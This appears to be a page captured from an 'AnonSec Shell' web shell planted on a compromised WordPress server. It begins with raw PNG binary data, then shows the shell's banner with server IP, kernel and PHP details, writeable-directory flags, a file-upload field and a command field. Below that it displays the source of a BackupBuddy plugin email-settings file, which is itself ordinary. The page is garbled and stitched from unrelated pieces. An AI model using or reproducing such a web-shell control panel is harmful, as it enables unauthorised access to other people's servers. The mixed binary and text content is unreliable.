‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/backupbuddy/views/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/backupbuddy/views/settings/_email.php
<?php
/**
 * Email Settings View
 *
 * @package BackupBuddy
 */

is_admin() || die( 'Access Denied.' );

$settings_form->add_setting(
	array(
		'type'  => 'title',
		'name'  => 'title_email',
		'title' => __( 'Email Notifications', 'it-l10n-backupbuddy' ),
	)
);

$settings_form->add_setting(
	array(
		'type'  => 'text',
		'name'  => 'no_new_backups_error_days',
		'title' => __( 'Send notification after period of no backups', 'it-l10n-backupbuddy' ),
		'tip'   => __( '[Example: 30] - Maximum number of days (set to 0 to disable) that may pass with no new backups created before sending an error notifcation email. Create schedules to automatically back up your site regularly. Alert notification emails will only be sent once every 24 hours at most.', 'it-l10n-backupbuddy' ),
		'rules' => 'required|string[0-99999]',
		'css'   => 'width: 50px;',
		'after' => ' days',
		'rules' => 'int',
	)
);

// Instructions on overriding HTML email template.
$custom_email_template = '<div style="margin-top: 10px; margin-left: 65px;">
	<a href="javascript:void(0);" onClick="alert(\'To customize the HTML email template copy the default template located at `/' . str_replace( ABSPATH, '', pb_backupbuddy::plugin_path() ) . '/views/backupbuddy-email-template.php` into the theme directory at `/' . str_replace( ABSPATH, '', get_theme_root() ) . '/backupbuddy-email-template.php`. You may then edit this new file to your liking. Its existance will override the default template.\');">' . __( 'Want to customize the HTML email template?', 'it-l10n-backupbuddy' ) . '</a>
</div>';

$settings_form->add_setting(
	array(
		'type'  => 'text',
		'name'  => 'email_notify_error',
		'title' => __( 'Error notification recipient(s)', 'it-l10n-backupbuddy' ),
		'tip'   => __( 'Email address to send notifications to upon encountering any errors or problems. Use commas to separate multiple email addresses.', 'it-l10n-backupbuddy' ),
		'css'   => 'width: 250px;',
		'after' => ' <a href="" class="pb_backupbuddy_customize_email_error" style="text-decoration: none;">Customize Email</a> | <a href="" id="pb_backupbuddy_email_error_test" style="text-decoration: none;" title="Send a test email to the listed email address(es) to test email sending functionality.">Test</a> &nbsp;&nbsp;&nbsp; <span id="emailErrorNotifyHiddenAlert" style="display: none;"><span class="pb_label">Tip</span> ' . __( 'This is highly suggested to be notified of backup failure.', 'it-l10n-backupbuddy' ) . '</span> <span class="description">Blank for default: ' . get_option( 'admin_email' ) . '</span>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'text',
		'name'      => 'email_notify_error_subject',
		'title'     => ' ',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px;',
		'row_class' => 'pb_backupbuddy_customize_email_error_row',
		'before'    => '<span style="display: inline-block; width: 65px;">' . __( 'Subject', 'it-l10n-backupbuddy' ) . ':</span>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'textarea',
		'name'      => 'email_notify_error_body',
		'title'     => ' ',
		'classes'   => 'regular-text',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px; height: 75px;',
		'row_class' => 'pb_backupbuddy_customize_email_error_row',
		'before'    => '<span style="display: inline-block; width: 65px; float: left;">' . __( 'Body', 'it-l10n-backupbuddy' ) . ':</span>',
		'after'     => '<div style="margin-left: 65px; width: 360px;" class="description">
							Variables: {site_url} {home_url} {backupbuddy_version} {current_datetime} {message}
						</div>' . $custom_email_template,
	)
);

$settings_form->add_setting(
	array(
		'type'  => 'text',
		'name'  => 'email_notify_scheduled_start',
		'title' => __( 'Scheduled backup started email recipient(s)', 'it-l10n-backupbuddy' ),
		'tip'   => __( 'Email address to send notifications to upon scheduled backup starting. Use commas to separate multiple email addresses. Notifications will not be sent for remote destination file transfers.', 'it-l10n-backupbuddy' ),
		'rules' => 'string[0-500]',
		'css'   => 'width: 250px;',
		'after' => ' <a href="" class="pb_backupbuddy_customize_email_scheduled_start" style="text-decoration: none;">Customize Email</a>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'text',
		'name'      => 'email_notify_scheduled_start_subject',
		'title'     => ' ',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px;',
		'row_class' => 'pb_backupbuddy_customize_email_scheduled_start_row',
		'before'    => '<span style="display: inline-block; width: 65px;">' . __( 'Subject', 'it-l10n-backupbuddy' ) . ':</span>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'textarea',
		'name'      => 'email_notify_scheduled_start_body',
		'title'     => ' ',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px; height: 75px;',
		'row_class' => 'pb_backupbuddy_customize_email_scheduled_start_row',
		'before'    => '<span style="display: inline-block; width: 65px; float: left;">' . __( 'Body', 'it-l10n-backupbuddy' ) . ':</span>',
		'after'     => '<div style="margin-left: 65px; width: 360px;" class="description">
							Variables: {site_url} {home_url} {backupbuddy_version} {current_datetime} {message}
						</div>' . $custom_email_template,
	)
);


$settings_form->add_setting(
	array(
		'type'  => 'text',
		'name'  => 'email_notify_scheduled_complete',
		'title' => __( 'Scheduled backup completed email recipient(s)', 'it-l10n-backupbuddy' ),
		'tip'   => __( 'Email address to send notifications to upon scheduled backup completion. Use commas to separate multiple email addresses.', 'it-l10n-backupbuddy' ),
		'css'   => 'width: 250px;',
		'after' => ' <a href="" class="pb_backupbuddy_customize_email_scheduled_complete" style="text-decoration: none;">Customize Email</a>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'text',
		'name'      => 'email_notify_scheduled_complete_subject',
		'title'     => ' ',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px;',
		'row_class' => 'pb_backupbuddy_customize_email_scheduled_complete_row',
		'before'    => '<span style="display: inline-block; width: 65px;">' . __( 'Subject', 'it-l10n-backupbuddy' ) . ':</span>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'textarea',
		'name'      => 'email_notify_scheduled_complete_body',
		'title'     => ' ',
		'classes'   => 'regular-text',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px; height: 75px;',
		'row_class' => 'pb_backupbuddy_customize_email_scheduled_complete_row',
		'before'    => '<span style="display: inline-block; width: 65px; float: left;">' . __( 'Body', 'it-l10n-backupbuddy' ) . ':</span>',
		'after'     => '<div style="margin-left: 65px; width: 360px;" class="description">
							Variables: {site_url} {home_url} {backupbuddy_version} {current_datetime} {message}
							{download_link} {backup_size} {backup_type} {backup_file} {backup_serial}
						</div>' . $custom_email_template,
	)
);


$settings_form->add_setting(
	array(
		'type'  => 'text',
		'name'  => 'email_notify_send_finish',
		'title' => __( 'File destination send finished email recipient(s)', 'it-l10n-backupbuddy' ),
		'tip'   => __( 'Email address to send notifications to upon remote sends finishing. Use commas to separate multiple email addresses.', 'it-l10n-backupbuddy' ),
		'rules' => 'string[0-500]',
		'css'   => 'width: 250px;',
		'after' => ' <a href="" class="pb_backupbuddy_customize_send_finish" style="text-decoration: none;">Customize Email</a>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'text',
		'name'      => 'email_notify_send_finish_subject',
		'title'     => ' ',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px;',
		'row_class' => 'pb_backupbuddy_customize_email_send_finish_row',
		'before'    => '<span style="display: inline-block; width: 65px;">' . __( 'Subject', 'it-l10n-backupbuddy' ) . ':</span>',
	)
);
$settings_form->add_setting(
	array(
		'type'      => 'textarea',
		'name'      => 'email_notify_send_finish_body',
		'title'     => ' ',
		'rules'     => 'required|string[1-500]',
		'css'       => 'width: 360px; height: 75px;',
		'row_class' => 'pb_backupbuddy_customize_email_send_finish_row',
		'before'    => '<span style="display: inline-block; width: 65px; float: left;">' . __( 'Body', 'it-l10n-backupbuddy' ) . ':</span>',
		'after'     => '<div style="margin-left: 65px; width: 360px;" class="description">
							Variables: {site_url} {home_url} {backupbuddy_version} {current_datetime} {message}
							{backup_size} {backup_file} {backup_serial}
						</div>' . $custom_email_template,
	)
);


$settings_form->add_setting(
	array(
		'type'  => 'text',
		'name'  => 'email_return',
		'title' => __( 'Email return address', 'it-l10n-backupbuddy' ),
		'tip'   => __( 'Email address listed as the `from` email address for any emails sent by BackupBuddy. Leave blank (default) to use the WordPress admin email.', 'it-l10n-backupbuddy' ) . ' Current default: ' . get_option( 'admin_email' ),
		'css'   => 'width: 250px;',
		'after' => ' <span class="description">' . __( 'Blank for default', 'it-l10n-backupbuddy' ) . ': ' . get_option( 'admin_email' ) . '</span>',
		'rules' => 'string[0-500]|email',
	)
);

Anon7 - 2022
AnonSec Team